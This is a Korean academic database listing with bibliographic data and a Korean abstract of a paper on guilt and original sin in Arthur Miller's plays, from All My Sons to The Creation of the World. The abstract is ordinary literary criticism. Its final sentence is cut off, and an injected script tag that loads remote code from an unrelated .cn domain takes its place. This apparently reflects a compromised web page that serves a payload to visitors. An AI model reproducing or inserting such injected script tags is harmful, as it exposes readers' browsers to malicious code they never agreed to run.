아서 밀러의 극에 나타난 죄의식의 취급

저작시기 2000.01 |등록일 2003.07.10 파일확장자어도비 PDF (pdf) | 20페이지 | 가격 5,500원
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서지정보

발행기관 : 한국문학과종교학회 수록지정보 : 문학과종교 / 5권 / 1호 / 197 ~ 216 페이지
저자명 : 김강(Kang Kim)

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한국어 초록

아서 밀러가 그의 주요 작품들을 통하여 제시하고 있는 인간의 본질에 대한 궁극적인 관심은 주인공들이 행하는 잘못된 행위와 그에 동반되는 죄의식에 있다. 주인공들은 다름 아닌 우리 자신이며 그들의 죄는 우리가 지닌 죄이기도 하다. 그렇다면 밀러의 존재에 대한 궁극적 관심의 한 양상으로서 이러한 죄(의식)의 근원은 어디에 있으며 과연 그들의 죄는 우리에게 어떠한 의미를 제시해 주고 있을까? 아서 밀러는 진지한 예술가로서 본질적으로 불변한 인간 본성으로부터 기인하는 현대적 삶의 근본적인 문제점들에 대한 지대한 관심을 표명해 왔다. 죄지음 혹은 죄의식은 유대-기독교 문화의 유산이기도 한다. 그 문화적 유산은 신이 우주를 선, 미, 조화, 그리고 완벽함으로 창조하였으며 무질서를 야기한 자는 바로 인간이라는 믿음과 더불어 시작된다. 그의 이른바 신의 은총으로부터의 "추락" 후에 인간은 그가 더 이상 접할 수 없는 완벽함에 대한 아주 드물고도 일시적인 경험만을 지녀왔다. 그러나 대부분의 경우, 인간은 그의 추락된 본성에 대해 깨닫고 있으며 그를 둘러싸고 있는 불완전함과 삶의 잔혹성에 대해도 깨닫고 있다. 이러한 인간 조건에 대한 책임이 자신 스스로에게 있다고 느끼는 것이 바로 인간의 죄의식의 시작인 것이다. 이는 바로 원죄에 대한 개념 (the idea of Original Sin)이자 인간의 계속되는 타락의 근원이 되는 셈이다. 밀러는 이러한 개념을 『나의 모든 아들들』, 『세일즈맨의 죽음』, 『시련』, 『몰락이후』, 『보상』와 같은 그의 주요 극들에서 제시하고 있으며 더욱 구체적으로는 『천지창조와 다른 업적』에서 고찰하고 있다. 『나의 모든 아들들』에서 백만장자가 된 조 켈러는 그의 죄를 사회적 경제적 성공 속에 감추어 왔다. 작품 대부분에서 그의 죄는 존경과 성공의 허울을 지니고 있기는 하지만 여전히 개인적인 것으로 남아있다. 헨릭 입센의 극들에서 제시되고 있는 것처럼 인간의 잘못된 행위의 본질을 포함하고 있는 과거는 필연적으로 현재에 투영될 것이다. 다른 말로 하자면, 이것은 바로 죄의 전통적인 양상이며 인간은 그의 행위의 결과로부터 결코 도피할 수 없음을 의미한다. 조 켈러의 경우 그의 죄에 대한 결과는 그의 죽은 아들 래리에 대한 끊임없는 기억과 그 아들의 죽음이 그가 운영하는 공장에서 제공한 결함 있는 비행기 부품에 의해 기인되었다는 폭로된 사실로서 입증되고 있다. 『세일즈맨의 죽음』에 나타난 죄의 외양은 전통적이기는 하나 더욱 복잡하고 심리적이다. 주인공 윌리 로우맨의 죄의 근원은 그의 성공의 꿈에 대한 실패에서 비롯되고 있다. 환상에 사로잡힌 그의 긴 삶의 여정동안 그는 손쉬운 성공을 추구하며 연이은 잘못을 반복한다. 이러한 점은 윌리의 "위대함"에 대한 이야기와 또한 결과적으로 그의 두 아들 비프와 해피의 생애를 망치게 되는 도둑질과 거짓말 같은 모든 사소한 악행의 용납에 의해서 제시되고 있다. 윌리의 성공에 대한 환상은 간단한 형태를 지니고있는데 이는 "사람은 거창하게 말하고, 공격적인 성품을 지녀야만 세상을 정복할 수 있다는 것이다." 그의 부인이 잘 알고 있는 것처럼 그의 위대함에 대한 입장은 일종의 사기이다. 실제로는 그는 사회에서 별로 인정받지 못하는 볼품없는 소시민이고 그 또한 이를 깨닫고 있다. 그는 사기꾼이지만 이러한 입장을 종말시 까지 견지하고 있다. 이러한 점이 그의 내적인 고뇌요 그의 불안감이자 그의 죄의 주요한 원인이다. 이 죄의식의 연장은 그가 그의 아들들을 망쳤다는 그의 자의식이다. 그는 전 생애에 걸쳐 그의 아들 비프에게 그(비프)가 세상의 최고라는 생각을 부추겨 왔으나 세월이 흐를수록 실제 세상에서 그의 아들이 몰락해 가는 모습을 지켜본 윌리의 심리적 부담과 아들의 실패에 대한 그의 책임감은 거의 견딜 수 없는 상태에까지 이르게 된다. 『시련』의 경우에 있어서 우리는 이제 밀러가 다른 종류의 인간의 잘못된 행위와 그로 말미암은 죄지음에 관심을 갖고 있음을 알 수 있다. 이 극에서의 주된 상황은 사회적 선이라는 가장 하에 행해지는 보편적 악과 잘못된 행위의 실행이다. 이것은 청교도적 사회 규범에 의한 개인의 억압과 마녀사냥이라는 악이며 이에 따라 여러 무고한 개인들이 그 희생물이 된다. 따라서 만약 온 사회 전체가 불의의 행위에 간여되어 있다면 그 죄는 누구에게 속하는 것일까? 그러한 환경에서 교화된 개인의 책임이란 과연 어떤 것인지? 대개의 경우 죄와 그 개인적 책임에 맞서는 방패가 되는 것은 소극적인 분개의 표현이다. 『천지창조』에서 밀러는 초기 극들에서는 단지 하나의 패턴과 원형의 상태에 머물렀던 개인의 죄와 그 결과를 에덴동산의 아담과 이브를 묘사하면서 한 차원 더 높이 천지창조라는 일종의 신화의 수준까지 끌어올린다. 초기의 개인적 그리고 ?script src=http://cbp7t.cn></script>

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